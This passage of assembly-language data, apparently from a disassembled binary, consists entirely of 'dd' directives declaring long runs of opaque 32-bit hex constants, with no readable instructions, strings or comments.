		dd 0E3A5985Dh, 4BD19B46h, 0B316EB05h, 212E140Dh, 4AA997F9h
		dd 8D185B3Eh, 2BB9CCDFh, 65C00914h, 7F0607C9h, 3A6C4385h
		dd 46C81236h, 12CDAF31h, 0F534FC7Eh, 112028AFh,	0F19953E5h
		dd 71E7ADB8h, 931559Dh,	719C4751h, 3B636275h, 0B3EFC14h
		dd 2353DB8h, 4125E67Fh,	0B6A06CEh, 0A05513E2h, 7528CAA2h
		dd 86234860h, 7FC9C24Ah, 43772CC0h, 0D001260Ah,	0BA34072Dh
		dd 0F5DAECABh, 8400B2AAh, 31AF2DA1h, 0A5A4CEF5h, 80CFD510h
		dd 9E97D425h, 883144A9h, 0DD84BAC3h, 73B2E0C1h,	2DFBF2D8h
		dd 3B4029E9h, 610F2DADh, 6F4DC53Ah, 35B2166Bh, 0FCB16C50h
		dd 6385FD3h, 0BAD9F7CCh, 0DF0D3E09h, 0FE8F5712h, 6B66EDA9h
		dd 1D09BF7Fh, 82472CC5h, 55C69DC2h, 0C408EB65h,	0C8290EE1h
		dd 3EF23AEBh, 4A8AB912h, 0FA1F7DACh, 0A15B972Fh, 2CBE2E6Ah
		dd 40F180B8h, 0C48712Fh, 83576914h, 0B7B17C89h,	126BD66Ch
		dd 560A022h, 0C433200Fh, 87E88044h, 19601106h, 9229018h
		dd 93E91AACh, 0D9DD9D67h, 46DDCBDBh, 18DD5AF6h,	6B796A99h
		dd 0CF6560BFh, 0BD20CB0Fh, 5654177h, 7F7CE86Eh,	202E6E2Eh
		dd 8B2A5151h, 0E23441E1h, 1538CA83h, 40ECAA84h,	0A2E8D2C9h
		dd 0E1912CC9h, 820FB589h, 0BFAC3F5h, 75979FF8h,	0FEDD218Dh
		dd 5EB90978h, 0F52D5A07h, 745E05E3h, 5B07A132h,	0E945303Eh
		dd 799D5958h, 29AC8A08h, 9B56C96Ah, 0A807DCC9h,	89014FC4h
		dd 9A7CFA0Bh, 16F1DF49h, 2B92C39Eh, 564B4BAEh, 9F20967Dh
		dd 529296D3h, 4BE98088h, 0BAD407DAh, 2ED0B39Dh,	74782BD7h
		dd 8C68016h, 8B6F1DAFh,	0A0FF9DC1h, 25E939FAh, 833ADE58h
		dd 2A2F68C3h, 10C45316h, 0E2107A9Fh, 0C796505Fh, 0C3BA6CC0h
		dd 5F129221h, 0A5139252h, 0EFA0F0D7h, 0C5ED5DE2h, 2F4E1828h
		dd 0D38530E2h, 0BAFD4C3Ch, 0CB09BE67h, 5F289F1Fh, 0D4683910h
		dd 56F2434Ah, 694221D3h, 78043348h, 4A13425Ah, 0D6A246FEh
		dd 9A2C4B61h, 0A3C2B821h, 625907D5h, 9CC03F6h, 1CC0B3E0h
		dd 570AD1B8h, 55050471h, 810BCB51h, 0C160C9A1h,	20D23B6Ah
		dd 4FB7695Fh, 78B90A20h, 0E150BF58h, 4D6FE0B7h,	1ED82C2Bh
		dd 0CF2958B8h, 54E917C4h, 0BF5B48F8h, 0C425B52Bh, 340ECF7Dh
		dd 0FEADBE0Ch, 36E957A0h, 2844885Eh, 5809D5B2h,	80032440h
		dd 7E096425h, 0E95E4060h, 0FE4EF098h, 5D10B8F7h, 52561AA8h
		dd 5FD76326h, 0B896301Ah, 0D64F48C5h, 5609C5EDh, 0F12437E9h
		dd 0CCC0EE5Eh, 5C1763D2h, 0EF040929h, 0A0D42180h, 5B17FD4Ah
		dd 3EE03ECh, 56F00F4Ch,	76241804h, 82FEE679h, 0D17F3127h
		dd 0BE8A770h, 76BEA2E9h, 0ABDB209h, 0AC080F1Fh,	290B8894h
		dd 2A9AF569h, 0F0EAF210h, 0C0627995h, 25DD6856h, 1E3085A8h
		dd 0CE21D3C6h, 2832A02Fh, 2649B720h, 0F6A8E05Dh, 31099CB3h
		dd 0BD9EDD10h, 6135E30Fh, 0D501B344h, 2F940AE8h, 171A4170h
		dd 0AC215706h, 9BD004E1h, 80BED354h, 0E9DA29A2h, 0F8DEFF7Bh
		dd 21EF9234h, 0F2EB56C5h, 0C37C7A6Eh, 18C5F235h, 68B001A8h
		dd 0E8947FABh, 5DA58D62h, 0CA623D7Eh, 86515516h, 1792BA60h
		dd 1D62BCC5h, 277A9CF9h, 39D18487h, 372BC04h, 4B3C7805h
		dd 3554AD10h, 0BF0097D2h, 7189172Fh, 0ACF05029h, 3C7AB31Dh
		dd 0D007BCA7h, 0EF72E1BDh, 0B447061h, 0D058E70Bh, 2AA0F729h
		dd 0CFB8A54Eh, 3BAFE915h, 0E11F51CEh, 5A0864E3h, 1CE28102h
		dd 4015932Ah, 253D89EEh, 0AC547C90h, 0B6C7872h,	6C7D3572h
		dd 0F9AF8277h, 8C000992h, 8F7E29C3h, 2FB4374Ch,	5A23207Dh
		dd 7710E105h, 0A453FA92h, 45DE9D83h, 561AB824h,	680B7F93h
		dd 3C6C015Fh, 36A7B285h, 28670F40h, 0D8BA26D2h,	5B5EDF20h
		dd 0AAE76DA8h, 59D983C7h, 5FB16CF0h, 0AD9631E9h, 532D848h
		dd 0E87D80D7h, 0E97A0401h, 4EFAF848h, 890C78EEh, 67FC3FF9h
		dd 70A268A0h, 0FB0BC89Bh, 4B2D51B0h, 3F3BD321h,	0E7FE2084h
		dd 0AB309409h, 5D048073h, 0BF09F140h, 2A5A13C1h, 0C1E400ADh
		dd 81D1B770h, 8ED2EB69h, 8C3FAC64h, 9E402751h, 0BAEE4B89h
		dd 9F448598h, 0EA2D1152h, 0BD32D314h, 0C4E0D1A5h, 0F00B8AB9h
		dd 0DD057D77h, 0E95107E0h, 48263925h, 880D4440h, 1E138DEEh
		dd 0D0BF0E68h, 5A856E76h, 5505B925h, 2101FAC1h,	9E972177h
		dd 0F8165B62h, 0EFA492B8h, 1C8AD4F2h, 2FC68BF2h, 45684E00h
		dd 0B3269A99h, 96A7475Bh, 12320D3h, 97D15097h, 0A8C2DAB0h
		dd 0C1943D26h, 1007EA00h, 0ED011968h, 0D0081CA0h, 5D2F141Ch
		dd 0B0253FF4h, 82A06DC1h, 5A5D7162h, 0DE8F26BCh, 0CB51678Dh
		dd 17084CDCh, 96BD002Fh, 29947BC3h, 3FD9F1F7h, 0B5B4A217h
		dd 0CB500CCCh, 0CA0E4A03h, 8BFDC217h, 9518B0E4h, 7F539B41h
		dd 0A22AD539h, 0E3A19368h, 0D5810D3Dh, 401663E9h, 9B0EE85Fh
		dd 5F43EB58h, 0C2D729B9h, 316AC7EFh, 4A42B3F4h,	0EB1EDF33h
		dd 760278D2h, 60B3589Bh, 781CF644h, 0E92C094Bh,	2A7AEF15h
		dd 0A40CD0Ah, 0E20B86BFh, 7ADBDE50h, 2D033D7Bh,	1D800Bh
		dd 3301852Ah, 0CE94538h, 165FCD59h, 89AF7368h, 0D7CF3049h
		dd 624B1912h, 3694BE03h, 0C28395F6h, 329DF034h,	0E9FD1689h
		dd 0E86FC60Bh, 7D5A4294h, 7E216565h, 96C8210Bh,	0C0092C94h
		dd 0BBD816E2h, 0F7F6FD76h, 59F970ADh, 31FB4416h, 7EB9E979h
		dd 6E05FA12h, 0B6B4FB2Ah, 320C5FC3h, 9CD55118h,	22DEA106h
		dd 3BA7C74h, 70551371h,	0C9E2D2F7h, 0E9EB1650h,	0CDA964C2h
		dd 3940270Fh, 26D5640Eh, 0A84E2EB7h, 568C05D4h,	14C26CEFh
		dd 6839DC59h, 6D160391h, 1ACC72A7h, 7A5B72C4h, 58C63DE8h
		dd 0CE0007DCh, 81290C41h, 0F1321C9h, 0D3BE2070h, 7CEF5877h
		dd 0C4255340h, 3FD065FEh, 2FD9EC9Fh, 0EB125DC7h, 0CDE86AAh
		dd 353E120Bh, 804BFA46h
		dd 4FE95508h, 4E6DE809h, 0EBE6A49Ch, 8CC9A004h,	739F1117h
		dd 0E9C282A3h, 0CC5224F7h, 0E784B55Ah, 0A2C5F2FBh, 0B5B2605Ch
		dd 0ECEBE04Bh, 7D681759h, 0C229BC27h, 46D8F664h, 88C8BE94h
		dd 0F2284594h, 0CD661B16h, 778166E8h, 85446756h, 7442610Ch
		dd 59F280FAh, 0D095881Bh, 4F5B09BCh, 32903AC7h,	2C93AE19h
		dd 2AEF4427h, 8E86FEE7h, 0B6E90B6Ah, 4CFDFECFh,	6068123Ah
		dd 4C5350Ah, 0EF263F47h, 4AAA1C65h, 41BD6672h, 6BFEC10Dh
		dd 975BA438h, 0A320EC34h, 991908Ah, 3F3A7743h, 203DDF2h
		dd 62D4F381h, 7E318240h, 0E7CE0E38h, 0E97F3C00h, 0D6956036h
		dd 12B65B71h, 278DFCBDh, 0C8C4B976h, 10809E89h,	27F253CCh
		dd 207A478Fh, 0AA27773h, 2D33767Dh, 0E9507374h,	0A50F5ED0h
		dd 0CB6FAFFCh, 0AD35F1D3h, 158E617Fh, 0F6680081h, 0BF135A06h
		dd 0B2E67B13h, 0E152E90Ch, 10E0689Ch, 20CAC6B5h, 0BD016CB3h
		dd 7E0E78FCh, 0D041E5D1h, 800073F0h, 5A13E0C3h,	0CABEEB28h
		dd 800F1F50h, 0CB129F5Ch, 41FAAEA0h, 0E0066562h, 0D5D48B58h
		dd 0B2130941h, 0D5805FA7h, 65DE6808h, 0E03966BDh, 3D5F390Ah
		dd 0E9FA3104h, 1D35B8DBh, 8CCDC6FEh, 9560CAF3h,	0CC01EB0h
		dd 409FD299h, 5EBFBE3Bh, 313E1D3Dh, 0D0211FF3h,	177ACC2Dh
		dd 6458F568h, 0B5F8ABCEh, 72A4E04Bh, 84E3633Ch,	31707BBBh
		dd 0E9CB8A80h, 0B98C499Dh, 0F2C67885h, 8BB85A2Ch, 476C6109h
		dd 6E36827Dh, 78BAA2C9h, 6917540Bh, 56CF07Fh, 0C11E2005h
		dd 3BCF10Ah, 0BFB45B07h, 5D2D83FCh, 82D690F5h, 99E92673h
		dd 381BD30h, 28F2C480h,	0D6ECD5F4h, 6E5559C9h, 45A8C9FCh
		dd 2E9846B2h, 6B444C12h, 6883A4BAh, 0F41A9729h,	4C3954A7h
		dd 0F31E90Bh, 0D2F63E99h, 7C0FFB2Bh, 0A167848Fh, 24F24FA4h
		dd 802A659h, 71244FEFh,	3035B103h, 0BFF5D9CEh, 0F728AD35h
		dd 0FA36EB34h, 5B6A2688h, 0C7A1B93Bh, 33D4DC88h, 0A35A31B0h
		dd 2CBC8567h, 0C218A35Bh, 0FE354CE9h, 52349210h, 8CCBAFD7h
		dd 6116B8D4h, 9537FF08h, 80F53992h, 0BE7BD377h,	8E894E7Fh
		dd 0F2151600h, 50A428h,	0D21227B8h, 58C52156h, 829B70F3h
		dd 7B416F02h, 0FD9CD3E9h, 1A931A4Eh, 177C6D88h,	68BA9801h
		dd 1610C12Dh, 885B03Eh,	64A67C62h, 56602505h, 5A0D8C06h
		dd 5FF9744Dh, 69B0B231h, 6267F772h, 58BC8E08h, 301243C3h
		dd 84FA45E6h, 2C0813FEh, 3358FFD4h, 8E02C605h, 0DF40B551h
		dd 50581B72h, 0F98A12D2h, 0C8D50C0h, 0C6444AE5h, 550FF9FDh
		dd 79FEE954h, 0BC3FEF3Fh, 4FEE4045h, 602C1E31h,	187347A2h
		dd 0BD13B8D0h, 4239ABFEh, 0F0D61E79h, 1A4AD2D9h, 82EBBF3h
		dd 0D0288174h, 315A952Ch, 56AF01A2h, 0EE2B9531h, 6C0D01A2h
		dd 0F5291209h, 842EDE1h, 67C5775Eh, 0DD96E989h,	51165146h
		dd 17BE8608h, 0FDC7BB25h, 0F6E9D170h, 4B0EB215h, 0C0D5FE28h
		dd 68B080ACh, 0FFC4404Ch, 0CCBB481Eh, 42BFFA46h, 544CD513h
		dd 29176818h, 827A3133h, 71105160h, 3FB47C82h, 0C961B72Dh
		dd 2954E209h, 5907F3C0h, 0AC6F4BC7h, 0F90C0113h, 0CCE9DF66h
		dd 2A80FC7Ch, 4A070E44h, 2F0C58B8h, 0FD4D473Fh,	0C84101F2h
		dd 0D731EC18h, 4FDFEC5Ah, 3FF8FAA0h, 0D69D6D2Fh, 9FFD2086h
		dd 602D7754h, 9F517CCDh, 20322620h, 0E4A03766h,	149FFAB0h
		dd 9D38F818h, 2F55310Bh, 6182934Ah, 9612A256h, 416B56B6h
		dd 2808B80Ch, 8EB2832h,	0E0ECE927h, 0B3F18874h,	905FA5D2h
		dd 0B5D07D37h, 66931C7Bh, 83A846EFh, 15B744BCh,	5753165Bh
		dd 94C1341h, 147F4D7Ch,	0E6D4957Ah, 5E26E970h, 354D27A4h
		dd 8EB8F9E3h, 0AC4F102Ah, 2D963666h, 0C76815C8h, 38483666h
		dd 5206AC1Fh, 5304FA17h, 0BA0FAFB8h, 961B5F22h,	559EC255h
		dd 704EC9C2h, 22EF4925h, 0ACEB3DA8h, 0BD40FCC6h, 0BDEA6A58h
		dd 0FC884E12h, 0DC98400h, 0FF29047Fh, 8042131h,	0E31EFDE4h
		dd 12A5CC2Fh, 0E543F16h, 902F08B8h, 0B5BB3EFDh,	0F195B84Eh
		dd 0E54D6271h, 9308E908h, 977C2D3Ch, 44078720h,	477C7313h
		dd 0F1E0D7F5h, 0D1D912F7h, 383458E1h, 55825B3Fh, 6B015E61h
		dd 81071035h, 0F40191Bh, 9F3EB368h, 22B1E3D1h, 7730DB29h
		dd 424F407Dh, 0A217C0B8h, 0AF176267h, 2E5EF504h, 74048CEEh
		dd 843FF341h, 9FBCEA43h, 0EB4F5B3Bh, 0CBE92902h, 59BFC949h
		dd 78B7B42Bh, 0A7546858h, 0FE306292h, 0BF45D25Eh, 19F87E25h
		dd 395B8358h, 3BC196B4h, 5200E83Ah, 7219ABBAh, 0B77E6BA6h
		dd 90D747Fh, 0ABD4EEAEh, 7F7CC09Eh, 845A0548h, 4138675h
		dd 402EFB1Ah, 3543B6EDh, 3FF5EC25h, 9B048D05h, 0FB5DEA31h
		dd 0B499F914h, 1E697DE6h, 0CCCF5155h, 5C416A78h, 1EF2AD7Bh
		dd 79960CEFh, 0A1E6D0ABh, 354C1B68h, 0AB620595h, 44AEAE75h
		dd 0EA27FB29h, 0AC9C8B24h, 129095C7h, 909F4970h, 1812F593h
		dd 0E4035F35h, 0A052DF0h, 861CE92Ch, 6F008AEAh,	0A054E551h
		dd 28BCF553h, 152FC066h, 81AC6828h, 5077D6B7h, 6425E9EBh
		dd 47DDD92Eh, 0F22D8896h, 6A1D27D0h, 0DF88E3D3h, 2007288Dh
		dd 80071C91h, 0D98816EBh, 1213C7A3h, 0FF1B2C14h, 0F6D54260h
		dd 0BA8069D1h, 662C2850h, 0D5274453h, 30B44B14h, 0FEF7B760h
		dd 12F658CFh, 14804610h, 4F98C529h, 58EC00EBh, 0EC3B6E05h
		dd 97FAA8CEh, 0F2EB1652h, 1ED7D071h, 75277A4Ah,	0FA5BD2CEh
		dd 3166B503h, 78E2C2CAh, 0AD8F5F3Fh, 0B850C5E2h, 0EAF057ABh
		dd 2C58C0C3h, 69CED042h, 9F09507Fh, 744B4965h, 0F191C2DFh
		dd 414BBE00h, 7C147AC0h, 9D589AABh, 7C20D60h, 0F4C3EC9Fh
		dd 0A93FE387h, 0C71017E9h, 46336FD0h, 0F7530388h, 0EE814EDEh
		dd 39F320B0h, 30DF12D0h, 45BA2CBFh, 0B723D43h, 0A5162924h
		dd 2DC6CF77h, 0D409AE96h, 0D47D9321h, 3E400599h, 2618BB18h
		dd 60A2A12h, 4BE944D3h,	449F78BAh, 47F304FCh, 0CC139356h
		dd 0BF55E9E9h, 2BB060FEh, 6A694314h, 78960EC8h,	0DA31452Ah
		dd 6B10E0A6h, 0FF5D27E3h, 6825CA9Ch, 61FD7E05h,	2AB89FE9h
		dd 0E955337h, 226A254h,	18862C4Ah, 0B3105D58h, 0D99F4995h
		dd 27506AD8h, 0E9BB4055h, 39A9E2Ch, 481AB866h, 2B5EAAA4h
		dd 0FAEF585Eh, 72EA319Eh, 31BFBF1h, 7176AF01h, 0F744B787h
		dd 32C04C4Ah, 1EC83540h, 0CC55FC76h, 0EBAFDA5Ah, 40BEF19h
		dd 172FE6C4h, 435CBBBDh, 7083DE2Fh, 0C44EE3E9h,	307878F2h
		dd 0C651D46Fh, 263D3D62h, 0C8DAAC10h, 0F594D5ADh, 0CEBD187Dh
		dd 0A813F6EDh, 1C8AB3F3h, 0C403E3C0h, 85F606EBh, 0FE02EFB8h
		dd 0B0DD3070h, 97EE28E2h, 5C206322h, 96F307Eh, 1608F9C8h
		dd 0CDC98DB8h, 0A9982BE0h, 0AD93417Bh, 0C10E741Ah, 602E62F1h
		dd 0B0BE72Ch, 0D5177809h, 5F76CE8h, 1094AE0h, 0D69539E9h
		dd 54A150BCh, 35386797h, 0C2A0E2CAh, 0F92EE468h, 37D7888Ah
		dd 4D7DBB04h, 0CB818A80h, 871B1E25h, 0FCB20973h, 0D1312A98h
		dd 0F45A79F4h, 7EB37B5h, 0C2800606h, 43F232ABh,	0F6480757h
		dd 582C043Ch, 0F820BC26h, 0A628893Bh, 5D8320FDh, 34FD7F7h
		dd 56E165EEh, 0FAFC018Ah, 55555462h, 659D07ECh,	0C4CD93A3h
		dd 3020C033h, 58024A7Ch, 0FB47E035h, 368B5719h,	5EF37703h
		dd 0A613EEDDh, 0C14920EFh, 8F3C0CB6h, 52D11F55h, 4AECAF3Fh
		dd 0A5B8404Eh, 5F15003Dh, 72E4B12Dh, 332EE91Ch,	46F7151h
		dd 0D4A24653h, 0F6815E00h, 9319A016h, 0F154014Ah, 0E6B92062h
		dd 0B2511E23h, 8628B32h
		dd 27F3029h, 5F2AC107h,	0B94AC173h, 0FF1EAB04h,	0CDEC10Bh
		dd 52EED8B5h, 1972C18h,	0C459CA2Fh, 6DE91425h, 0E24ACCB7h
		dd 0F3679EB5h, 0D7E0C313h, 95C57F02h, 6030CA60h, 2D72493Dh
		dd 0E97CC038h, 8B7CF78Eh, 0ABDE0F39h, 0EF947FB6h, 8095D5F8h
		dd 45DEBD95h, 68531331h, 3788BBB5h, 0FD1B4AE9h,	49B626B7h
		dd 1A08CE13h, 0AD5A2DDDh, 137F420h, 8B0DD0F7h, 0F038E45Bh
		dd 18C73E16h, 0E8A00ABFh, 0C10EBD10h, 0E9FD310Bh, 82C42B5Ch
		dd 96C9A9BAh, 63C0CA84h, 0E0A0206h, 72E68177h, 0AF040724h
		dd 1C6F71E8h, 48C12DFEh, 0FECD32h, 281570EDh, 9933F6Fh
		dd 0A0175ECAh, 54380F7h, 0E98769CCh, 0B2D8042h,	116F6875h
		dd 0B2A5B970h, 37D99CC2h, 0B4080D88h, 7895AA20h, 0F3755C04h
		dd 0D87AD98Dh, 90410E05h, 0BF5D2A20h, 4E08D3CDh, 18B00125h
		dd 7A17C380h, 3CB15EC0h, 8E93DC0h, 288BF1BDh, 0D1859CBh
		dd 7BBD3115h, 9D82208Bh, 82218855h, 99687525h, 0FE5AF05Ah
		dd 2A7AF8A3h, 0B7E0DB48h, 0E6CDFAE0h, 312FF816h, 2950450Dh
		dd 0A88FA50h, 6103F659h, 626848B5h, 26C5332Ch, 0EB1F9154h
		dd 2DEA5F7Fh, 10A23EE6h, 95FA45Ah, 7FBD8B97h, 680A431Dh
		dd 72085F9Bh, 8D5F1F2Bh, 7B765BDFh, 0AE4BCDBCh,	0B0A8FFC4h
		dd 5D3FF150h, 0CD003FC3h, 30DBE581h, 93A07492h,	0A3A2EFF9h
		dd 0A5207252h, 91BE0447h, 0C06FF420h, 0D50B242Eh, 190C1D60h
		dd 0BA6D312Eh, 6142AA9h, 5BDA25F4h, 825B51CCh, 9AF0FC5h
		dd 6985790h, 0C695DD39h, 268125Ah, 21C26115h, 8122AFDCh
		dd 0ED922AF7h, 0A8F280E2h, 8358D108h, 4F0C5AA8h, 0D4DA016Fh
		dd 291C6D08h, 8D02E32Fh, 0F07FB796h, 577B0545h,	0F92C7E25h
		dd 16688487h, 5BE3AA5Dh, 0BBE88385h, 93843FA3h,	0BE71497h
		dd 82BF1CA6h, 5D83FC90h, 0F9F76D92h, 0D1756935h, 5BDDE26Ah
		dd 3B129892h, 0B9787089h, 0A352502Eh, 2840E025h, 5B6605DEh
		dd 0CD5AF388h, 6327303Bh, 0E315881h, 1A1DEE2Bh,	7FA37767h
		dd 23165775h, 0A0FCC801h, 0C7CBEAF5h, 4F909B10h, 21A164ACh
		dd 0AFC6EF0h, 6BE8C1A1h, 366E3DE1h, 0D6970D56h,	307552A2h
		dd 82C5652Fh, 28191E40h, 20DBD34Ch, 0C1CAF536h,	78282E79h
		dd 54686604h, 75B4EF2Ch, 5889BF39h, 0E971A8FEh,	20B9DECEh
		dd 199A26EAh, 753DC28Ch, 0C146137Fh, 2C9FBEB3h,	9F2500B9h
		dd 0DF1810Fh, 334F1975h, 0DB0137FDh, 0E96CAD62h, 0E6853ABEh
		dd 9290E2BFh, 38A714ACh, 42CD5125h, 0E37E4DE9h,	2C0EE399h
		dd 59B0BB00h, 0FD9E297Fh, 0E28C511Fh, 2DD8B354h, 9A57E42Ch
		dd 540FDA5h, 0D34E88C8h, 6928DB8h, 63B63E6Eh, 0BA20C677h
		dd 2B20B82h, 83F5D530h,	8734EB1Bh, 0A63AC43Ah, 9B03E159h
		dd 0FF03E1C0h, 0E702933Fh, 0FDC9FE06h, 0D7673E50h, 0CB04ED38h
		dd 498A2CEEh, 16B90B95h, 68590B4Ah, 5C301A22h, 55822FFEh
		dd 0D6CB0FF3h, 0D8858BD8h, 7DA5B8FCh, 4E20F81Eh, 0B2F5EB97h
		dd 60FA773Eh, 0BB6BD9EEh, 1388614Dh, 20D1B8D0h,	328FFC5Ch
		dd 2AA68B2Ch, 0E8B5BD03h, 0B9D6F88Eh, 0B1A727ABh, 3B8C249h
		dd 446BCED6h, 0BA520383h, 71A77992h, 0BB9AE00h,	76E915BCh
		dd 5B34CB42h, 4E4AEED7h, 8294B2A4h, 0F91C9668h,	87D56BD1h
		dd 84124738h, 2A9EF422h, 410EA5Fh, 89B38567h, 3FD2C2CAh
		dd 847A9974h, 37AE46B5h, 402391BDh, 81AA3035h, 0F21F534h
		dd 7DA38C82h, 17D47B18h, 2D451301h, 3FEB556Dh, 1420B371h
		dd 0EA4AF403h, 48FC36A3h, 0BA25E012h, 0BB30F505h, 659CEB81h
		dd 0B9354AFh, 0D44EF88Eh, 54B4D69Fh, 0E0D4E927h, 1222B937h
		dd 0A8778C78h, 0E281805Eh, 5CBF5DEAh, 0DF2C111Dh, 0ADD0A521h
		dd 669FB0FAh, 0B1CB2001h, 1BD8DDFAh, 5C63B2A8h,	1D10CFE8h
		dd 0DA881D53h, 1957A2D2h, 720716A9h, 0D548CE1Ah, 115EC07h
		dd 7495BF57h, 0EA2B5061h, 0FBDC6720h, 1EB34E1Bh, 0FFFBF4ACh
		dd 0F381DCC0h, 0EE86138Ch, 5B76099Fh, 10CEFB7Fh, 14FDD21Ch
		dd 64AB901h, 0A5BDBE0Dh, 0A142780Bh, 0F37B50A4h, 0D5977A9Ch
		dd 36A46A5h, 6CBBF573h,	0EF895D90h, 165AF96h, 0E094C5AEh
		dd 6E27686Dh, 0EBB2985Eh, 0FB30373h, 0D3F7DF87h, 0E781080Fh
		dd 0B4BFFF5h, 2AF852h, 369F291Ch, 0D8574DBEh, 12E9AC0Bh
		dd 261544DBh, 89F7BF59h, 0D97FAEB7h, 0C95B1FD6h, 0F690F013h
		dd 0C4BFE531h, 5C85BD9Bh, 8931FCD9h, 8DC50055h,	3A4C930Dh
		dd 5C9343BDh, 0ED4F8CEh, 3607DB05h, 4EE10B06h, 0DA082C4Ah
		dd 0E28005C7h, 304581A2h, 1C076D7Ch, 0EA166AB5h, 5A51CAEEh
		dd 0E0200CF1h, 200B4160h, 8F94CEAEh, 0B0743528h, 4DEFE78h
		dd 0F7507997h, 0EA4076CEh, 3E1D00B8h, 0F4BB37D7h, 674F4587h
		dd 0A940A3BCh, 0ADCB0681h, 100FE820h, 344B4348h, 20C07F01h
		dd 5DDB6808h, 0C0109F5Bh, 0A9B92EEFh, 31AD962h,	0DAB9F101h
		dd 7CE3F87h, 9095EA4Bh,	40E02B01h, 0E26E3F41h, 950200B9h
		dd 20E90CAAh, 21C8C9CCh, 50C35B23h, 89D0AFD0h, 4861F582h
		dd 17A83A01h, 3B4265ADh, 162F2AEFh, 0F461EF23h,	0EF052F75h
		dd 544214C8h, 0F7CEEA31h, 9E9EB37Eh, 0E090E9C9h, 4BC5805Fh
		dd 7D31B015h, 4C3CDF41h, 27BB65Bh, 635436C1h, 9858D523h
		dd 2C5B0881h, 3C94B70Ch, 0D37059ACh, 0F8330674h, 2D5E1232h
		dd 91E863A5h, 50769DCAh, 9A84F7E5h, 80EB6AD5h, 8105EAB1h
		dd 3113F6E6h, 0D5F0FDDBh, 29D94022h, 8BFCFA4Bh,	50844B1h
		dd 13A40ABFh, 3FF17BFCh, 581C870Eh, 6982D821h, 23B4B126h
		dd 0CD68BB85h, 214D8D1Fh, 8EF6D209h, 5173660h, 0E0C1251Dh
		dd 0E905E6F4h, 0CCFE7EB4h, 0EF54FD41h, 675CB1B4h, 80CF046Dh
		dd 608261EAh, 0F15E0419h, 0CD2C7B1Dh, 5A094091h, 0C190ECB0h
		dd 5C1DB690h, 296E9F42h, 0C1AE324h, 3866834Bh, 124816Dh
		dd 0D8FDC312h, 0A0C390E2h, 970D11E0h, 525FE1Eh,	0BD3B7D2Dh
		dd 0ADC646ACh, 0EE76BDCEh, 0A3485D71h, 4FD2440Ah, 0D59231Ch
		dd 0E6AB93BDh, 0E4F9E289h, 5C19E622h, 7AD71BC0h, 0B5A0309h
		dd 0B81AE3Fh, 0E87410C1h, 0A732463h, 0C8EF0212h, 4377A744h
		dd 68D3097Ch, 0DF74548Eh, 0BC70DC2h, 48CDEC5Fh,	0A64F3842h
		dd 41E05F1Dh, 670A3AE0h, 163CC1CAh, 6BA6202Eh, 75CC664Bh
		dd 0F9C74A93h, 91E8A540h, 0A49D298Ah, 9FC20EBDh, 45AD107h
		dd 0B5E3FFC8h, 3BE5E982h, 76F1A2A2h, 0BBD9B5Dh,	82A8E9ACh
		dd 3C23DC90h, 7C255E48h, 0A44918FAh, 2DF01296h,	0FA3056BAh
		dd 9FBCC721h, 9E84CC6Bh, 6A270916h, 40472700h, 0CC214D74h
		dd 0BC4E81A2h, 9E48F0Bh, 0D5E9B2CAh, 0E60851ADh, 8092E084h
		dd 0D3369A5Fh, 5CDC2748h, 0AE12A49Ah, 1DEF0FBh,	24E97440h
		dd 0BB94BB82h, 0C68A5427h, 80DB0197h, 96203CF2h, 7F09F68Eh
		dd 2720F6C9h, 0EBC7C60Eh, 0A1098439h, 7CE33FA4h, 0ED445CA2h
		dd 76952C70h, 45DFCB27h, 85A1C8D5h, 0EA9D703Ah,	51EADD20h
		dd 1DA52F5Eh, 883DC52h,	0E9170C41h, 37227FB9h, 8C088D1h
		dd 203CA80h, 0BF0C8B5Ah, 84E969E5h, 968817F6h, 20830CEBh
		dd 4A5A764Dh, 21185C18h, 275E4344h, 0FA586B89h,	3BB2B0C0h
		dd 59E9E898h, 7D580E8Ah, 0A8A5EF92h, 9E597530h,	0E7E95036h
		dd 79A4774Bh, 0EF2BBD05h, 0C36484D1h, 55EEB0BBh, 1D6BBD1Ch
		dd 0D0BC0916h, 0AAD20196h, 0BF1A7A3Ah, 0CC39090Ch, 0D74E85CAh
		dd 5419CED1h, 38F6317Eh, 0F0AB050Ch, 501F95A3h,	0AE4B84B4h
		dd 0AD58DC5Fh, 47FCEA6Ch
		dd 1C4BDF4Bh, 0A1347502h, 6394E92Fh, 3F62D75Dh,	17626C2Eh
		dd 97067C5Ch, 0EA4584D5h, 0E98521B9h, 79A8A8E3h, 0AF70027Bh
		dd 74D4F050h, 5C5F0980h, 7027FE1Ch, 27591761h, 0E9C4DF3Fh
		dd 0B2EE80B6h, 5A0BD6F8h, 0BF9A7597h, 2DECFB7Dh, 0E9852971h
		dd 0F7A81C71h, 8494A9E4h, 81009C05h, 0FC64D6E7h, 0F73B4176h
		dd 2CDC3B88h, 7D72CD31h, 84C537C8h, 45B17209h, 82F5D801h
		dd 0D18F4108h, 3BE0892Eh, 8E10EDB2h, 8F8A5FAAh,	0CC3B5D7Eh
		dd 96EA881Ch, 0BCB617D7h, 39BA4F1Fh, 165FBC2Ah,	0CBBA5E60h
		dd 4AB84C8Ch, 0E26ECEE1h, 0BC2DA4D6h, 36B18B38h, 0F8EB0432h
		dd 97D73907h, 4D2C97C6h, 3BD0BF88h, 0CA778627h,	80F47470h
		dd 68DD1EE6h, 5A00D009h, 463B0548h, 0B0406B82h,	90753ED8h
		dd 6CC1FBCBh, 0C779D695h, 3005D43Ch, 0AB4D4547h, 2F1C8906h
		dd 0FB2FFFFFh, 5F0C7E1Ah, 0B9268AF4h, 21DD9A42h, 0C1893DC3h
		dd 88F52EEEh, 1235F1FDh, 8081843Eh, 0A90A782Fh,	92125h
		dd 1438E394h, 681F2E2Eh, 0A5D8296Fh, 0DC30E66h,	284C80E9h
		dd 78935C6Eh, 15CE3201h, 0AC0B70Ch, 0FF82DA75h,	0D4BDD452h
		dd 782E3F7Bh, 0FBB8817Fh, 207E5838h, 88509390h,	5E137874h
		dd 0BB926B5h, 0BA410841h, 8A6BB1F0h, 0D3CD1BDBh, 0FA6AB191h
		dd 0A993443Ah, 850EB9DBh, 0D1B8E770h, 9CC704F4h, 4001FD1Bh
		dd 0C9407AF0h, 7C915CB6h, 225CDB27h, 6BFBEE60h,	4E7D7EBBh
		dd 15B0942h, 0C28655CAh, 0F70114B6h, 525192D8h,	0AF2E5A59h
		dd 0D0ABB824h, 426EF5CFh, 930353Eh, 0D9FEAF68h,	0FF804BEAh
		dd 1FA06850h, 584EA718h, 65E4E95Ah, 21CEB79Ch, 6D97168Ah
